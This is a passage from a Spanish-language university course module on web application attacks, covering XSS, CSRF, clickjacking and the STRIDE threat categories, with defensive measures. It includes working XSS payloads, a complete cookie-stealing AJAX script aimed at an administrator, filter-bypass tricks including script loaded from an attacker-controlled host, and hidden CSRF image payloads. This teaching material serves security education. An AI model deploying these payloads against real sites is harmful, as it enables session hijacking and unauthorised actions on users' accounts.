dobles de un atributo perteneciente a una etiqueta HTML que no permiten

que este se ejecute Por ello seraacute necesario cerrar la etiqueta HTML en la

que nos encontremos y posteriormente insertar el coacutedigo Javascript

gtltscriptgtalert(iexclHola Mundo)ltscriptgtltdiv class=

Esta seriacutea la combinacioacuten resultante

ltinput type=text name=q value=gt

ltscriptgtalert(Hola Mundo)ltscriptgtltdiv class= gt

Al final del coacutedigo generado se ha introducido una etiqueta ltdivgt para

evitar de este modo que el coacutedigo HTML quede malformado

bull ElcoacutedigosecopiadentrodeuncomentarioHTML Este caso suele ser

comuacuten en paacuteginas mal programadas que dejan mensajes de depuracioacuten

dentro del coacutedigo fuente HTML Un ejemplo de lo que podriacuteamos encon-

trar en una situacioacuten de este tipo es el siguiente

lt-- La busqueda fue [busqueda] --gt

Donde [busqueda] corresponderiacutea a la cadena de texto buscada En es-

te caso se deberiacutean cerrar los caracteres de comentario HTML introducir

nuestro coacutedigo Javascript y posteriormente volver a abrir los comentarios

HTML De este modo el coacutedigo creado por nosotros deberiacutea compenetrarse

perfectamente con el coacutedigo original de la paacutegina

--gtltscriptgtalert(iexclHola Mundo)ltscriptgtlt-

Esta podriacutea ser la combinacioacuten adecuada

lt-- La busqueda fue --gtltscriptgtalert(Hola Mundo)ltscriptgt

lt-- --gt

CC-BY-NC-ND bull PID_00191662 12 Ataques a aplicaciones web

bull ElcoacutedigosecopiadentrodeuncoacutedigoJavascript Esto es habitual cuan-

do las paacuteginas utilizan datos introducidos por el usuario para generar al-

guacuten tipo de evento personalizado o para almacenar datos que se van a usar

posteriormente en alguacuten otro lugar de la aplicacioacuten web La sintaxis seriacutea

como la siguiente

ltscriptgt var busqueda = [busqueda] ltscriptgt

En este punto no es necesario incluir las etiquetas ltscriptgt sino que po-

demos directamente introducir el coacutedigo Javascript como se refleja en la

siguiente sintaxis No tener que incluir las etiquetas ltscriptgt seraacute impor-

tante cuando sea necesario evitar los filtros anti-XSS que las eliminan

alert(iexclHola Mundo)

Hemos utilizado las barras al final de la sintaxis para lograr que el resto de

la liacutenea Javascript quede comentada y no interfiera en la ejecucioacuten de nues-

tro coacutedigo Esta circunstancia es ahora auacuten maacutes determinante que cuan-

do nos encontramos incorporando el coacutedigo generado al coacutedigo HTML

debido a que si el Javascript no es vaacutelido la mayoriacutea de los navegadores

no lo ejecutaraacuten

ltscriptgt var busqueda =alert(iexclHola Mundo)ltscriptgt

bull Otroscasos los especificados anteriormente son los ejemplos maacutes comu-

nes donde vamos a encontrar que nuestro coacutedigo Javascript se incluye

dentro del coacutedigo HTML de una paacutegina En los casos indicados se ha par-

tido del supuesto de que no existen filtros anti-XSS implementados Jun-

to a los anteriores existen otros casos maacutes complejos para la inclusioacuten de

coacutedigo Javascript como puede ser hacerlo en cabeceras HTTP

113 Diseccionando un ataque

Para entender mejor el funcionamiento de esta teacutecnica vamos a analizar un

ataque desde el inicio hasta el final El ataque consistiraacute en el robo de la co-

okie de sesioacuten del usuario administrador de un sitio web La cookie de sesioacuten

consiste en un pequentildeo fichero (de hasta 4 Kb) que contiene un identificador

uacutenico y que se enviacutea desde nuestro navegador junto a cada peticioacuten que rea-

lizamos hacia un servidor Este identificador asociado a un usuario que se ha

ldquologeadordquo satisfactoriamente en el sistema evita tener que introducir sus cre-

denciales para cada paacutegina que el usuario visita dentro de un mismo dominio

Por lo tanto si obtenemos el identificador de otro usuario y se lo enviamos

al servidor este nos asociaraacute en todo momento al usuario al que estamos su-

plantando

CC-BY-NC-ND bull PID_00191662 13 Ataques a aplicaciones web

El paso principal en todo anaacutelisis en busca de vulnerabilidades de tipo XSS en

una paacutegina web es localizar zonas funcionales de esta que permitan la intro-

duccioacuten de texto donde este se vuelva a mostrar bien de forma permanente

si queda almacenado en una base de datos o bien de forma no permanente

si no es asiacute

En el caso mostrado en la siguiente imagen la paacutegina web ofrece un servicio

de mensajeriacutea entre usuarios que puede ser un ejemplo simple para un posible

ataque XSS

Figura 2 Enviacuteo de mensaje

Para determinar si un campo ya sea un paraacutemetro desde la URL o un campo

de texto donde sea posible escribir es vulnerable a XSS vamos a introducir una

serie de caracteres para comprobar si existe alguacuten filtro anti-XSS Los caracteres

a introducir seriacutean

bull Comilla simple (lsquo)

bull Comilla doble (ldquo)

bull Siacutembolo de mayor que (gt)

bull Siacutembolo de menor que (lt)

bull Barra ()

bull Espacio ( )

Si somos capaces de introducir estos caracteres existe un alto porcentaje de po-

sibilidades de encontrar alguacuten fallo de XSS Sin embargo no podemos asegurar

su existencia de forma totalmente definitiva siempre existe la posibilidad de

encontrarnos con alguacuten otro tipo de filtro que nos impida introducir palabras

clave como script onload o javascript

En el escenario que ahora se plantea se puede introducir cualquier tipo de ca-

raacutecter o cadena de caracteres tras verificar que estos no son filtrados ni blo-

queados Vamos a aprovecharnos de esta situacioacuten para generar nuestro pri-

mer ataque de XSS

En el campo de Para vamos a escribir nuestro propio nombre de usuario evi-

luser De este modo todas las pruebas que realicemos se enviacutean directamente a

este usuario evitando alertar al usuario administrador En el campo del Cuer-

CC-BY-NC-ND bull PID_00191662 14 Ataques a aplicaciones web

po del mensaje vamos a introducir un texto con coacutedigo Javascript que nos

muestre un mensaje de ldquoHola Mundordquo como lo haciacutean ejemplos anteriores El

resultado del coacutedigo introducido antes de enviar se puede ver a continuacioacuten

Figura 3 XSS antes de ser enviado

En este punto es importante detenernos y analizar lo que ocurriraacute cuando ha-

gamos clic en el botoacuten Enviar Aun siendo nosotros los que hemos introducido

y enviado este coacutedigo la vulnerabilidad XSS auacuten no habraacute sido explotada Esto

ocurriraacute cuando con nuestro usuario eviluser naveguemos hasta su bandeja

de entrada Es por esta razoacuten por lo que los fallos de XSS se diferencian del

resto de teacutecnicas Tras pulsar Enviar y desplazarnos a la bandeja de entrada

obtendremos una ventana de alerta con el mensaje especificado

Realmente de lo anterior lo que nos interesa es analizar coacutemo ha quedado el

coacutedigo fuente HTML resultante de los pasos anteriores y seguacuten nos lo devuelve

el servidor

lta href=indexphpaction=deletegtltimg src=trashpng gtBorr

lta href=indexphpaction=logoutgtltimg src=system-log-outpn

ltdiv class=contenidogt

ltp class=autorgt De eviluserltpgtltp class=mensajegtltscriptgt

ltscriptgtltpgtltdivgt

ltdivgt

ltbodygt

Como se puede observar todos y cada uno de los caracteres que hemos intro-

ducido han quedado almacenados en la base de datos y se han copiado en el

coacutedigo HTML generado sin que se les haya aplicado ninguacuten filtro

Una vez demostrado que podemos ejecutar coacutedigo Javascript en la paacutegina se

estaraacute en disposicioacuten de empezar a jugar con sus funcionalidades De este mo-

do seraacute posible crear un coacutedigo que cierre la sesioacuten del usuario automaacutetica-

mente o que borre todos sus mensajes La lista de posibilidades de acciones

maliciosas seriacutea interminable

CC-BY-NC-ND bull PID_00191662 15 Ataques a aplicaciones web

En el ejemplo que estamos exponiendo vamos a desarrollar una accioacuten de

mayor gravedad utilizando para ello tecnologiacutea AJAX (asynchronous Javascript

and XML) pasando a enviar mensajes de manera automaacutetica utilizando para

ello la cuenta del usuario Con ello vamos a conseguir que aquel usuario que

reciba nuestro mensaje nos enviacutee un mensaje a nuestra bandeja de entrada

conteniendo su cookie de sesioacuten Si se lo enviamos a un usuario con privilegios

administrativos lograremos control total sobre la aplicacioacuten

Generalmente seraacute necesaria una buena base de Javascript para explotar de

manera satisfactoria cualquier fallo de XSS En este caso estos conocimientos

deberaacuten ser avanzados Aquiacute se va a facilitar un coacutedigo completamente fun-

cional y que analizaremos liacutenea por liacutenea para que se pueda entender el obje-

tivo del mismo

ltscriptgt

d = ampto=eviluserampenviar=Enviarampmensaje=Mi cookie es +documentcookie

if(windowXMLHttpRequest)

x=new XMLHttpRequest()

else

x=new ActiveXObject(MicrosoftXMLHTTP)

xopen(POSTfuncsendphptrue)

xsetRequestHeader(Content-Typeapplicationx-www-form-urlencoded)

xsetRequestHeader(Content-Lengthdlength)

xsend(d)

ltscriptgt

Este coacutedigo Javascript nos va a permitir recoger la cookie de sesioacuten del usuario

De manera totalmente transparente para el usuario afectado este nos la en-

viaraacute mediante un mensaje Procedamos al anaacutelisis

bull Inicialmente se declara una variable d Esta variable contiene los valores

de ampto ampenviar y ampmensaje que son las variables que se enviacutean en la apli-

cacioacuten cuando mandamos un mensaje Detalle importante a observar es el

contenido de la variable ampmensaje documentcookie un objeto del DOM2

de la paacutegina que contiene todas las cookies asociadas al dominio actual

bull En las liacuteneas siguientes se realiza un ifelse que nos asegura la creacioacuten

de un objeto de tipo XMLHttpRequest tanto en navegadores Internet Ex-

plorer como Firefox o similares Este objeto es el usado para realizar las

peticiones AJAX

bull Con open() establecemos las condiciones que se van a utilizar para enviar el

formulario Seraacute enviado por POST a la url funcsendphp Esto se obtiene

(2)DOM son las siglas de documentobject model Es una manera denombrar cualquier elemento deuna paacutegina web desde la barra dedirecciones hasta un simple tex-to en negrita mediante una no-menclatura jeraacuterquica Por ejem-plo todos los elementos HTML deuna paacutegina estaacuten relacionados endocumentbody

CC-BY-NC-ND bull PID_00191662 16 Ataques a aplicaciones web

analizando de nuevo el formulario de enviacuteo Mediante true se indica que

la peticioacuten seraacute realizada de manera asiacutencrona esto es el navegador no se

quedaraacute ldquocongeladordquo mientras se enviacutea el mensaje

bull Las dos siguientes liacuteneas en las que se llama a la funcioacuten setRequestHeader()

se usan para establecer cabeceras HTTP que hagan que el servidor web

entienda que lo que estamos enviando es un formulario aunque el usuario

no lo haya rellenado

bull Para terminar se invoca a send() pasaacutendole como paraacutemetro la variable d

que teniacuteamos creada desde el principio del coacutedigo Con esto el navegador

realiza las acciones definidas anteriormente y si todo ha salido bien el

usuario afectado nos enviaraacute su cookie de sesioacuten

Para verificar que el ataque se estaacute efectuando seguacuten lo previsto vamos a enviar

un mensaje al usuario admin y desde otro navegador iniciaremos sesioacuten con

nuestro usuario para comprobar asiacute que el coacutedigo cumple con su cometido

Figura 4 XSS antes de ser enviado

Como se puede apreciar en la imagen anterior se ha antildeadido un mensaje en

el cuerpo del enviacuteo para que el usuario administrador no sospeche al recibir

un mensaje vaciacuteo Despueacutes de pulsar el botoacuten Enviar el usuario eviluser solo

tendraacute que sentarse a esperar refrescando su bandeja de entrada hasta que re-

ciba un mensaje de usuario admin con el valor de su cookie de sesioacuten El coacutedi-

go Javascript enviado se podraacute observar dentro del coacutedigo fuente pero pasaraacute

completamente desapercibido para el usuario admin cuando este inicia sesioacuten

con su navegador y automaacuteticamente se le presenta su bandeja de entrada

El coacutedigo HTML recibido por el usuario admin al abrir su bandeja de entrada

seriacutea

ltdiv class=contenidogt

ltp class=autorgtDe eviluserltpgtltp class=mensajegtltscriptgt

d= ampto=eviluserampenviar= Enviar ampmensaje=Mi cookie es +documentcookie

if(windowXMLHttpRequest)

x=new XMLHttpRequest ()

CC-BY-NC-ND bull PID_00191662 17 Ataques a aplicaciones web

else

x=new ActiveXObject (MicrosoftXMLHTTP)

xopen(POSTfuncsendphptrue)

xsetRequestHeader(Content-Type applicationx-www-form-urlencoded)

xsetRequestHeader(Content-Lengthdlength)

xsend(d)

ltscriptgt

iexclQue pagina mas chulaltpgtltdivgt

ltdivgt

ltbodygt

Este coacutedigo ha sido interpretado por el navegador del usuario admin y auto-

maacuteticamente se ha enviado un mensaje al usuario eviluser con la cookie de

sesioacuten

Figura 5 Mensaje recibido por el usuario eviluser

Con esta informacioacuten en su poder el usuario eviluser puede proceder a modi-

ficar el valor de su cookie con el valor recibido De este modo cuando su nave-

gador lo enviacutea al servidor este responde con las paacuteginas correspondientes al

usuario admin

Esta demostracioacuten es un claro ejemplo del potencial que puede llegar a impli-

car un ataque basado en XSS Como se ha visto sin conocer la contrasentildea del

administrador de un sitio web hemos logrado acceder a su cuenta

114 Filtros XSS

En la gran mayoriacutea de las ocasiones no seraacute posible escribir coacutedigo Javascript

directamente como se ha realizado en el ejemplo anterior Habitualmente los

programadores habraacuten establecido una serie de reglas para intentar evitar los

fallos XSS Sin embargo habitualmente los filtros utilizados son implementa-

ciones parciales de lo que deberiacutea ser un filtro antiXSS completo y esto nos

permite introducir nuestro coacutedigo Javascript salvando las dificultades adicio-

nales que se presenten

CC-BY-NC-ND bull PID_00191662 18 Ataques a aplicaciones web

Vamos a plantear una serie de medidasdeproteccioacuten que podemos encon-

trarnos y coacutemo pasar las limitaciones impuestas por estas Esto nos serviraacute para

entender coacutemo piensa un atacante a la hora de introducir coacutedigo XSS y mejo-

rar de este modo nuestras posibles implementaciones de filtros antiXSS

bull Cuandointroducimosloscaractereslsquooldquosecambianporrsquoordquo Esta

teacutecnica es conocida como ldquoescapar los caracteresrdquo y es uacutetil frente a inyec-

ciones SQL aunque no lo es frente a ataques XSS Cuando intentamos ce-

rrar una etiqueta HTML como vimos anteriormente y nos encontramos

con que se estaacuten escapando nuestras comillas pueden darse dos situacio-

nes ambas salvables por parte del atacante La etiqueta queda cerrada co-

mo rsquo o rdquo algo que en HTML es totalmente vaacutelido por lo que podemos

seguir introduciendo coacutedigo Javascript

ltinput type=text name=q value= gt

ltscriptgtalert(documentcookie)ltscriptgt

Es imposible establecer la cadena ldquoiexclHola Mundordquo al no poder escri-

bir correctamente las comillas Son varios los meacutetodos que se pue-

den usar en estos casos Por ejemplo podemos utilizar la funcioacuten

StringfromCharCode() que recibe una lista de coacutedigos ASCII y genera una

cadena

StringfromCharCode(72 111 108 97 32 77 117 110 100 111 33)

Tambieacuten es posible establecer referencias a ficheros Javascript externos

donde podremos usar todos los caracteres que deseemos sin preocuparnos

por ninguacuten tipo de filtro

ltscript src=httpwwwatacantecomxssjsgtltscriptgt

bull ElcoacutedigointroducidonopuedesersuperioraXcaracteres Una limi-

tacioacuten tiacutepica es encontrarnos que no podemos escribir maacutes de un nuacutemero

determinado de caracteres Esta limitacioacuten se puede solventar de nuevo

de dos maneras

ndash Si son varias las variables donde es posible introducir coacutedigo Javascript

podemos usar la suma de los caracteres correspondientes a cada una de

ellas para ampliar el nuacutemero de caracteres disponibles Esto se realiza-

riacutea mediante los caracteres de comentarios multiliacutenea de Javascript

al inicio y al final

ndash Si estamos limitados al tamantildeo un solo campo es posible utilizar un

fichero externo para cargar todo el coacutedigo Javascript necesario Para

reducir la longitud de la direccioacuten URL podemos usar paacuteginas del estilo

tinyurlcom o isgd Asiacute por ejemplo la URL httpwwwvictimacom

xssjs queda traducida a httpisgdowYT

CC-BY-NC-ND bull PID_00191662 19 Ataques a aplicaciones web

ltscript src=httpisgdowYTgtltscriptgt

bull Nopodemosintroducirlacadenascriptonosenospermiteintroducir

loscaracteresdemayorque(gt)ymenorque(lt) Aunque inicialmen-

te podriacutean parecer dos casos distintos al final pueden ser resueltos de la

misma manera Las etiquetas HTML tienen eventos que pueden lanzarse al

ocurrir ciertos sucesos OnLoad cuando se carga el elemento OnMouseO-

ver cuando se desplaza el cursor por encima OnClick cuando se hace clic

sobre eacutel etceacutetera Podemos usar estos elementos para introducir nuestro

coacutedigo

ltinput type=text name=buacutesqueda value=

OnFocus=alert(Hola Mundo) gt

bull Otroscasos Las teacutecnicas de XSS son tan variadas como podamos imaginar

Hay que tener en cuenta que no dependemos de la tecnologiacutea del servidor

sino de la del navegador que esteacuten usando los usuarios Existen teacutecnicas

para ejecutar coacutedigo Javascript que funcionan en Internet Explorer 7 y no

en Firefox 3 o incluso coacutedigo que se ejecuta en Safari 3 pero no lo hace en

la versioacuten 4 Es por ello por lo que no es factible automatizar esta teacutecnica

ni llegar a conocer todos los entresijos de la misma sino que el atacante

deberaacute utilizar su conocimiento y experiencia para lograr introducir el coacute-

digo XSS

12 Cross Site Request Forgery (CSRF)

Una vez entendida la base del XSS es el momento de estudiar algunas teacutecnicas

concretas derivadas de esta y lo que es posible hacer con ellas Una de ellas es

el cross site request forgery (CSRF)

El CSRF es una teacutecnica por la cual vamos a lograr que el usuario realice

acciones no deseadas en dominios remotos Se basa en la idea de apro-

vechar la persistencia de sesiones entre las pestantildeas de un navegador

Vamos a analizar con un ejemplo hipoteacutetico para entenderla

El usuario abre su navegador y entra en el sitio wwwsitio001com En este sitio iniciasesioacuten con su usuario y se le permite realizar una serie de acciones econoacutemicas tales comopujas o compras de objetos A su vez entra en la red social de moda wwwsitio002comdonde tiene sus fotos personales y se escribe mensajes con sus amigos Sin embargoresulta que en el sitio002com tiene un fallo de XSS permanente y un atacante lo va ausar para generar un ataque CSRF

Cuando nos ldquologeamosrdquo en un sitio determinado se nos asocia una cookie de sesioacuten quenos autentica uacutenicamente frente al servidor Esto evita tener que introducir nuestras cre-denciales en cada paacutegina que visitemos Sin embargo no podemos controlar cuaacutendo seenviacutean estas cookies Si nuestro navegador tiene almacenada una cookie asociada a un do-

CC-BY-NC-ND bull PID_00191662 20 Ataques a aplicaciones web

minio la enviaraacute en cada peticioacuten realizada a este dominio incluso si esta no se realizavoluntariamente

En este concepto se basa la teacutecnica de CSRF Vamos a obligar a un usuario a que realiceacciones no deseadas sobre un dominio desde otro Imaginemos que el sitio001comque recordemos permitiacutea transacciones econoacutemicas utiliza URL como la siguiente parala compra de objetos con la tarjeta de creacutedito almacenada

httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes

Si un usuario malintencionado lograse que un usuario autenticado en la paacutegina anteriorrealizase clic sobre el enlace obtendriacutea como resultado la compra del objeto en cuestioacutenEsto es podriacutea engantildear a la gente para comprar objetos que eacutel pusiera a la venta por unprecio desorbitado

Sin embargo un usuario avezado no hariacutea clic sobre un enlace desconocido y recibidopor una persona en la cual no confiacutea Es aquiacute donde entra en juego la teacutecnica de CSRFpermitiendo a un atacante ldquosimularrdquo clics veriacutedicos sobre una aplicacioacuten usando las cre-denciales (cookie de sesioacuten) de un usuario Esta accioacuten mediante XSS es sencilla

Como ya se ha puesto de manifiesto muacuteltiples veces a lo largo de este moacutedulo es nece-sario conocer muy a fondo el funcionamiento de los navegadores En este caso vamos ahacer uso de una condicioacuten que todos los navegadores comparten pues no haremos usode coacutedigo Javascript sino que utilizaremos coacutedigo HTML

Los navegadores web al encontrarse una etiqueta ltimggt siguen la direccioacuten del recursoespecificado en el paraacutemetro src Esto implica una conexioacuten para intentar descargar laimagen y esta puede realizarse entre dominios Si la imagen no se encuentra disponible ola respuesta que se recibe desde el servidor no es interpretable como imagen se mostraraacuteel icono de imagen rota

Un atacante puede aprovechar esta caracteriacutestica de los navegadores para obligar a losusuarios afectados a realizar acciones que no desean Crear una imagen que apunte a ladireccioacuten URL anteriormente indicada generariacutea una peticioacuten por parte de todos los na-vegadores que visitasen la paacutegina que contiene el coacutedigo HTML y que como veiacuteamos in-tentariacutea comprar un objeto en el dominio wwwsitio001com El siguiente coacutedigo HTMLse deberiacutea introducir por ejemplo en un comentario del sitio wwwsitio002com

ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes gt

Como se puede observar la teacutecnica es tan simple como efectiva Es posible hacer usode Javascript para que el ataque sea mucho maacutes discreto Las imaacutegenes disponen de unevento onerror que se lanza al no poder cargar la imagen Esto es parecido al atributoalt que se muestra cuando un navegador no soporta imaacutegenes Usando este evento ymodificando el recurso referenciado en src podemos cargar una imagen existente despueacutesde hacer la modificacioacuten maliciosa a traveacutes de CSRF

ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes onerror=thissrc=logojpgthisonerror=nullgt

Igualmente seriacutea posible desencadenar un ataque de forma maacutes discreta usan-

do CSS (cascading style sheets hojas de estilo para paacuteginas web) para evitar que

la imagen rota que se genera se le muestre al usuario

El ataque anteriormente descrito se ha podido llevar a cabo gracias a que la

paacutegina de sitio001com acepta peticiones GET aquellas donde los paraacutemetros

se remiten en la URL en lugar de requerir POST para los enviacuteos de informacioacuten

Una peticioacuten GET siempre seraacute maacutes faacutecil de manipular que una peticioacuten POST

Esto es asiacute porque para generar una peticioacuten POST debemos escribir coacutedigo

Javascript el cual puede entrar en conflicto con posibles filtros antiXSS que

existan en la aplicacioacuten

CC-BY-NC-ND bull PID_00191662 21 Ataques a aplicaciones web

Sin embargo y aunque establecieacutesemos como requisito indispensable que las

peticiones se realicen mediante POST esto no nos garantizariacutea la seguridad de

nuestra paacutegina ni de nuestros clientes

Para mejorar la seguridad frente a un posible ataque podemos hacer uso de las

cabeceras Referer Estas indican la paacutegina desde la que se ha llegado a otra Se

utilizan por ejemplo para conocer cuaacuteles son las buacutesquedas que permiten a

un usuario llegar a un sitio web desde un buscador Una medida de proteccioacuten

aunque se puede saltar seriacutea comprobar que las peticiones realizadas a nuestras

paacuteginas o al menos a aquellas que impliquen acciones sensibles se realicen

desde nuestro propio dominio

La uacutenica proteccioacuten real frente a ataques de CSRF es la de establecer una serie

de valores numeacutericos que se generen de manera uacutenica en cada peticioacuten Estos

pueden ser establecidos como un CAPTCHA que el usuario debe introducir al

realizar acciones criacuteticas o como un valor oculto en un campo hidden dentro

del coacutedigo de la paacutegina que comprobamos cuando el usuario nos devuelve la

peticioacuten Estas medidas aunque tediosas de programar nos permiten asegurar

los datos de nuestros usuarios

Como usuarios de aplicaciones posiblemente vulnerables a CSRF podemos

tomar una serie de precauciones que intenten evitar un ataque mediante esta

teacutecnica Las medidas son

bull Cerrar la sesioacuten inmediatamente tras el uso de una aplicacioacuten

bull No permitir que el navegador almacene las credenciales de ninguna paacutegi-

na ni que ninguacuten servidor mantenga nuestra sesioacuten recordada maacutes que

durante el tiempo de uso

bull Utilizar navegadores distintos para las aplicaciones de ocio y las criacuteticas

Con esto nos aseguramos la independencia de las cookies de sesioacuten entre

navegadores

13 Clickjacking

Las teacutecnicas de clickjacking son una amenaza reciente para los navega-

dores y sus usuarios Se basan en engantildear a los usuarios para que ha-

gan clic sobre elementos de un sitio web donde ellos nunca lo hariacutean

voluntariamente

Esto se consigue superponiendo dos paacuteginas

CC-BY-NC-ND bull PID_00191662 22 Ataques a aplicaciones web

bull Una la principal con la paacutegina donde queremos que realmente los usua-

rios hagan clic en zonas especiacuteficas como por ejemplo un banco para rea-

lizar una transferencia

bull Otra la que sirve como engantildeo superpuesta sobre la anterior y con con-

tenidos que sirvan de aliciente para que el usuario realice los clics en las

zonas deseadas por ejemplo un pequentildeo juego donde debemos cliquear

en determinadas zonas

Esta teacutecnica se basa en el uso de iframes superpuestos Los iframes son elemen-

tos HTML que permiten la inclusioacuten de un recurso externo dentro de nuestra

paacutegina Aunque contienen una serie de limitaciones a la hora de acceder a

ellos mediante Javascript son de posible uso para engantildear al usuario

1) El primer paso es generar una paacutegina con la URL que se quiere secuestrar y

que seraacute la base sobre la que colocaremos el resto de elementos que nos haraacuten

falta para llevar a cabo esta teacutecnica

Figura 6 Paacutegina a secuestrar

2) El siguiente paso es colocar un iframe con su veacutertice superior izquierdo

exactamente en el lugar donde deseamos que el usuario engantildeado realice el

clic Esto se hace asiacute para asegurar que independientemente del navegador el

clic se ejecute sin problemas

CC-BY-NC-ND bull PID_00191662 23 Ataques a aplicaciones web

Figura 7 IFRAME sobre el sitio original

3) Finalmente se deberaacute efectuar una colocacioacuten y distribucioacuten de los elemen-

tos en la paacutegina que efectuacutea el engantildeo Es recomendable en este sentido crear

alguacuten tipo de incentivo para que el usuario se vea interesado en realizar el

clic que se persigue a fin de capturar su pulsacioacuten y transmitirla a la paacutegina

original

Figura 8 Colocacioacuten del IFRAME para engantildear al usuario

CC-BY-NC-ND bull PID_00191662 24 Ataques a aplicaciones web

Esta teacutecnica fue implementada y presentada por primera vez por Jeremiah

Grossman y Robert Hansen Ambos investigadores propusieron el ejemplo pre-

sentado en las imaacutegenes anteriores como meacutetodo para que un usuario activase

una serie de caracteriacutesticas no deseadas de su reproductor Flash Esto se logroacute a

traveacutes de una aplicacioacuten Flash ubicada en la paacutegina de Adobe para la configu-

racioacuten de seguridad del plugin como se puede observar en la siguiente imagen

Figura 9 Configuracioacuten de seguridad de Flash Player

Esta vulnerabilidad implica la necesidad de proteccioacuten por parte de los nave-

gadores ya que esta teacutecnica de nuevo utilizaraacute el navegador del usuario para

interactuar con el servidor Es por eso por lo que algunos navegadores aportan

directamente protecciones contra esta teacutecnica

bull Firefox no implementa por defecto ninguacuten meacutetodo para proteger a sus

usuarios frente a esta teacutecnica de ataque Sin embargo a traveacutes de la exten-

sioacuten NoScript que hace uso del meacutetodo ClearClick evita que un usuario

sea engantildeado para hacer clic sobre un elemento previamente falseado

CC-BY-NC-ND bull PID_00191662 25 Ataques a aplicaciones web

Figura 10 Clickjacking bloqueado

bull InternetExplorer8 incorpora de serie una proteccioacuten frente a esta teacutecni-

ca que permite a los programadores web incluir una cabecera x-frame-op-

tions que si figura establecida como deny impide que la paacutegina que la en-

viacutea sea renderizada dentro de un iframe Tambieacuten incluye la posibilidad de

establecer el valor como sameorigin para permitir que uacutenicamente pueda

ser cargada si la peticioacuten se realiza desde el mismo dominio

Figura 11 IFRAME bloqueado desde Internet Explorer 8

bull En el resto de navegadores como GoogleChromeOperaSafarieInter-

netExplorer en versiones anteriores a la 8 la uacutenica medida de proteccioacuten

y de tipo parcial consiste en deshabilitar todos los elementos dinaacutemicos

tales como Javascript Java o la opcioacuten de cargar iframes en nuestro nave-

gador

CC-BY-NC-ND bull PID_00191662 26 Ataques a aplicaciones web

2 Ataques de inyeccioacuten de coacutedigo

Las inyecciones de coacutedigo son algo a la orden del diacutea actualmente en Internet

Permitir que un usuario introduzca cualquier paraacutemetro en nuestra aplicacioacuten

puede dar lugar al acceso a informacioacuten privilegiada por parte de un atacante

Las teacutecnicas de ataque que puede sufrir un sistema se han catalogado de forma

geneacuterica con el acroacutenimo STRIDE Cada una de las siglas hace referencia a un

tipo de ataque

1)Spoofing(suplantacioacuten) Hace referencia a cualquier teacutecnica que permita

a un atacante tomar una identidad que no le corresponde Estas teacutecnicas de

ataque se usan de forma muy extendida en Internet a varios niveles

a) Nivel de enlace

Suplantacioacuten de direccioacuten fiacutesica Esta teacutecnica se usa para saltar protecciones

de direccioacuten MAC muy utilizadas en redes inalaacutembricas o reservas activas en

servidores DHCP ( dynamic host configuration protocol)

b) Nivel de Red

bull Suplantacioacuten de Direccioacuten IP Se utilizan para saltarse protecciones res-

tringidas a determinadas direcciones IP Se hicieron famosas en el ataque

a servicios Trusted Hosts en los que se permitiacutea a un usuario ldquologarserdquo

directamente en un servidor sin introducir contrasentildea si veniacutea ldquologadordquo

desde un servidor con una direccioacuten IP en concreto

bull Hijacking Buscan conseguir el control de una conexioacuten mediante la su-

plantacioacuten del validador que mantiene la sesioacuten abierta y autenticada En

el caso del nivel de red el objetivo es controlar el socket mediante la su-

plantacioacuten del nuacutemero de secuencia

c) Nivel de Aplicacioacuten

bull Suplantacioacuten de resultados DNS Se utilizan para conseguir que la viacutectima

crea que el servidor al que se conecta es el de verdad Teacutecnicas de modi-

ficacioacuten de archivos hosts implantacioacuten de servidores DHCP ataques de

envenenamiento de cacheacute a servidores DNS mediante la teacutecnica de ldquoLa fe-

cha del cumpleantildeosrdquo son utilizados para lograr este objetivo

bull Phising El impacto de esta teacutecnica de ataque en la sociedad ha hecho que

hoy en diacutea la mayoriacutea de la gente se preocupe por esto El objetivo de esta

teacutecnica es hacer creer a la viacutectima que se estaacute conectando a una aplicacioacuten

CC-BY-NC-ND bull PID_00191662 27 Ataques a aplicaciones web

mediante la suplantacioacuten de un sitio web completo Se apoya en las teacutec-

nicas de suplantacioacuten de DNS

bull Hijacking Es similar al de a nivel de red pero aquiacute se busca suplantar el va-

lidador que utiliza el nivel de aplicacioacuten Este puede ser un nuacutemero iden-

tificador de sesioacuten en una cookie un campo hidden de una paacutegina web o

un paraacutemetro por GET o por POST

bull Suplantacioacuten de usuarios El objetivo de esta teacutecnica de ataque es la de

usurpar la identidad de un usuario para realizar las acciones en su lugar

2)Tampering Implica el intento de forzar el funcionamiento de alguacuten meca-

nismo de seguridad mediante la falsificacioacuten o la alteracioacuten de la informacioacuten

Estas teacutecnicas son utilizadas para modificar ficheros de registro de acceso mo-

dificar la informacioacuten real o alterarla en su traacutensito desde el emisor al receptor

de la misma

3)Repudiation Son teacutecnicas mediante las que se evita la certificacioacuten o ga-

rantiacutea de un hecho Si un sistema no garantiza el no-repudio no se puede ga-

rantizar que la informacioacuten que contiene o emite sea veraz Tienen especial

relevancia en entornos de anaacutelisis forense o sistemas contractuales

4) InformationDisclosure Vulneracioacuten de la seguridad de un sistema que

implica que un usuario no permitido acceda a informacioacuten o documentacioacuten

sensible Este tipo de vulnerabilidades son especialmente importantes y estaacuten

protegidas por legislaciones especiales sobre todo los datos de caraacutecter perso-

nal En Espantildea se regula la seguridad de los datos mediante la Ley Orgaacutenica

de Proteccioacuten de Datos (LOPD)

5)DenialofService Las vulnerabilidades de denegacioacuten de servicio son aque-

llas que interrumpen la continuidad de los procesos de negocio o servicio de

una compantildeiacutea Estas vulnerabilidades pueden suponer un serio impacto en

los intereses de las compantildeiacuteas Los ataques basados en ordenadores zombis (

botnets) los ataques de parada de servicios o los ataques a las liacuteneas de comu-

nicacioacuten de las empresas son objetivos de este tipo de ataques

6)Elevationofprivilege Se produce este fallo de seguridad cuando un usuario

puede cambiar su nivel de privilegios dentro de un sistema para acceder a

informacioacuten o servicios que estaacuten restringidos para su identidad La elevacioacuten

de privilegios es una vulnerabilidad que suele ser el origen de brechas que

conllevan a denegacioacuten de servicio o descubrimiento de informacioacuten

A partir de esta clasificacioacuten de ataques es posible estudiar en profundidad la

implementacioacuten de ataques reales que normalmente podriacutea aparecer simul-

taacuteneamente en varias de las categoriacuteas anteriores

CC-BY-NC-ND bull PID_00191662 28 Ataques a aplicaciones web

La inyeccioacuten de comandos es una teacutecnica de ataque a aplicaciones web cuyo

objetivo principal es aprovechar conexiones a bases de datos desde aplicacio-

nes web no securizadas para permitir a un atacante la ejecucioacuten de comandos

directamente en la base de datos

21 LDAP Injection

Vamos a mostrar las posibilidades y riesgos de los ataques LDAP Injection en

